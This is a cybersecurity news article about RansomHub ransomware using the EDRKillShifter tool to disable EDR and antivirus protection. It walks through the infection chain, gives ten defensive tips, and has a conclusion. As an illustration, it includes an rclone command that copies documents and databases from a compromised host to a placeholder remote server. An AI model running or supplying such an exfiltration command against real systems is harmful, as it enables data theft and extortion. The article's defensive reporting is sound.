#1 Middle East & Africa Trusted Cybersecurity News & Magazine |

29 C
Dubai
Saturday, November 9, 2024
Cybercory Cybersecurity Magazine
HomeTopics 1Advanced Persistent ThreatRansomHub Ransomware Exploits EDRKillShifter to Disable Security Defenses: A New Threat to...

RansomHub Ransomware Exploits EDRKillShifter to Disable Security Defenses: A New Threat to Cybersecurity

Date:

Related stories

spot_imgspot_imgspot_imgspot_img

Ransomware continues to evolve, with threat actors constantly seeking innovative ways to bypass detection and maximize damage. One of the latest ransomware variants, RansomHub, has adopted an alarming new tactic—using a tool known as EDRKillShifter to disable Endpoint Detection and Response (EDR) and antivirus protections. By undermining these key defenses, RansomHub prolongs its presence within compromised systems, making it harder for organizations to detect and respond to the attack. This sophisticated evasion technique represents a serious escalation in ransomware capabilities, highlighting the urgent need for enhanced security measures.

RansomHub and EDRKillShifter: A Dangerous Partnership

The RansomHub ransomware, known for its affiliate model and sophisticated methods, has recently integrated EDRKillShifter into its attack chain. This tool is designed to exploit vulnerabilities in drivers, allowing attackers to disable security solutions like EDR and antivirus software. EDRKillShifter doesn’t just disable security tools; it dynamically adapts its methods as detection capabilities evolve, ensuring that the ransomware remains undetected for as long as possible. This allows RansomHub to execute its payload, encrypt sensitive data, and demand ransom payments with minimal interference.

In recent months, RansomHub has gained notoriety for targeting a wide range of industries and critical infrastructure, including healthcare, financial services, government, and communications sectors. According to a report by the FBI, RansomHub has successfully compromised over 210 organizations, with a clear focus on exploiting vulnerable systems and elevating privileges through sophisticated attack vectors.

How RansomHub Uses EDRKillShifter to Evade Detection

RansomHub’s infection chain begins with gaining initial access, often through phishing emails, exploiting known vulnerabilities, or using brute-force attacks. Once inside, the ransomware employs EDRKillShifter to disable EDR and antivirus software, making it nearly impossible for traditional security solutions to detect the ongoing attack.

The infection chain of The RansomHub

  1. Initial Access: RansomHub typically gains entry through phishing emails, exploiting vulnerabilities like CVE-2020-1472 (Zerologon), or using password-spraying techniques. Once inside, attackers focus on disabling security controls.
  1. Evasion Techniques: RansomHub uses a series of batch scripts such as “232.bat” and “killdeff.bat” to disable Windows Defender and other security tools. These scripts modify the system registry, terminate critical security processes, and remove evidence of the attack by deleting logs and altering system files.
  1. EDRKillShifter Deployment: EDRKillShifter is a “Bring Your Own Vulnerable Driver” (BYOVD) tool that exploits legitimate drivers to disable security tools. Once the tool is executed, it decrypts its payload and leverages a vulnerable driver to terminate processes related to EDR and antivirus software.
  1. Credential Dumping and Lateral Movement: After disabling security tools, RansomHub dumps credentials from the LSASS memory and uses tools like NetScan to map the network for further attacks.
  1. Data Exfiltration and Ransom Demands: Once critical data is identified, RansomHub exfiltrates it using tools like “rclone,” targeting specific file types like PDFs, SQL databases, and documents. The attackers then demand ransom payments, threatening to release the stolen data publicly if payment is not made.

Exfiltration: The threat actors employ the command-line tool “rclone” to steal sensitive files from the compromised network. This tactic aligns with MITRE ATT&CK technique T1041, Exfiltration Over C2 Channel, where data is transferred out of the network to a remote location under the attackers’ control.

“Let’s take this command as an illustration:

rclone copy \\<COMPROMISED_IP>\i$ <REMOTE_SERVER>:<REMOTE_PATH>\Users --include ".pdf" --include ".docx" --include ".sql" --max-age <DATE>
<COMPROMISED_IP> represents the IP address of the targeted system, while <REMOTE_SERVER>:<REMOTE_PATH> refers to the location where the exfiltrated data is sent, and <DATE> specifies a cutoff date for file modification. This command selectively targets valuable file types, such as documents and databases, and transfers them to a remote server. The attackers use these exfiltrated files as leverage, threatening their owners to release them publicly if the ransom is not paid.

Impact: After executing RansomHub’s TTPs, the ransomware binary is subsequently deployed. To successfully execute the ransomware binary with EDRKillShifter , a predefined password key must be provided using the parameter “-pass”.”

10 Tips to Avoid RansomHub and Similar Threats in the Future

  1. Regularly Patch Systems: Keep all software, especially drivers and operating systems, up to date with the latest security patches to prevent vulnerabilities like Zerologon from being exploited.
  2. Deploy Advanced EDR Solutions: Invest in EDR solutions with advanced detection capabilities that can identify and respond to BYOVD attacks like those deployed by RansomHub.
  3. Monitor for Unusual Activity: Use security tools to monitor for suspicious behavior, such as the termination of security processes or unexpected registry modifications.
  4. Implement Strong Password Policies: Ensure that all accounts, especially those with administrative privileges, use strong, unique passwords and implement multi-factor authentication (MFA) to prevent brute-force attacks.
  5. Regularly Backup Critical Data: Maintain offline backups of critical data and test your restoration processes regularly to ensure quick recovery in the event of an attack.
  6. Train Employees on Phishing Awareness: Conduct regular training sessions to educate employees on the risks of phishing emails and how to identify suspicious communications.
  7. Limit Privileged Access: Restrict access to critical systems and data to only those users who need it, minimizing the impact of a compromised account.
  8. Use Application Whitelisting: Prevent unauthorized software from running by implementing application whitelisting policies, allowing only approved applications to execute on your network.
  9. Enable Logging and Monitoring: Ensure that logging is enabled for all critical systems and applications, and regularly review logs for signs of tampering or suspicious activity.
  10. Use Behavioral Analytics: Incorporate behavioral analytics into your security strategy to detect anomalies that may indicate an ongoing attack, even if traditional signatures are not triggered.

Conclusion

The integration of EDRKillShifter into RansomHub’s attack chain is a dangerous evolution in ransomware tactics, allowing cybercriminals to disable security tools and operate undetected. Organizations must remain vigilant, employing a multi-layered defense strategy that includes patching vulnerabilities, monitoring for suspicious behavior, and implementing advanced EDR solutions. By staying ahead of these evolving threats, businesses can protect their digital assets and reduce the risk of falling victim to ransomware attacks.

Want to stay on top of cybersecurity news? Follow us on Facebook, X (Twitter), Instagram, and LinkedIn for the latest threats, insights, and updates!

Ouaissou DEMBELE
Ouaissou DEMBELEhttps://cybercory.com
Ouaissou DEMBELE is an accomplished cybersecurity professional and the Editor-In-Chief of cybercory.com. He has over 10 years of experience in the field, with a particular focus on Ethical Hacking, Data Security & GRC. Currently, Ouaissou serves as the Co-founder & Chief Information Security Officer (CISO) at Saintynet, a leading provider of IT solutions and services. In this role, he is responsible for managing the company's cybersecurity strategy, ensuring compliance with relevant regulations, and identifying and mitigating potential threats, as well as helping the company customers for better & long term cybersecurity strategy. Prior to his work at Saintynet, Ouaissou held various positions in the IT industry, including as a consultant. He has also served as a speaker and trainer at industry conferences and events, sharing his expertise and insights with fellow professionals. Ouaissou holds a number of certifications in cybersecurity, including the Cisco Certified Network Professional - Security (CCNP Security) and the Certified Ethical Hacker (CEH), ITIL. With his wealth of experience and knowledge, Ouaissou is a valuable member of the cybercory team and a trusted advisor to clients seeking to enhance their cybersecurity posture.

Subscribe

- Never miss a story with notifications

- Gain full access to our premium content

- Browse free from up to 5 devices at once

Latest stories

spot_imgspot_imgspot_imgspot_img

LEAVE A REPLY

Please enter your comment!
Please enter your name here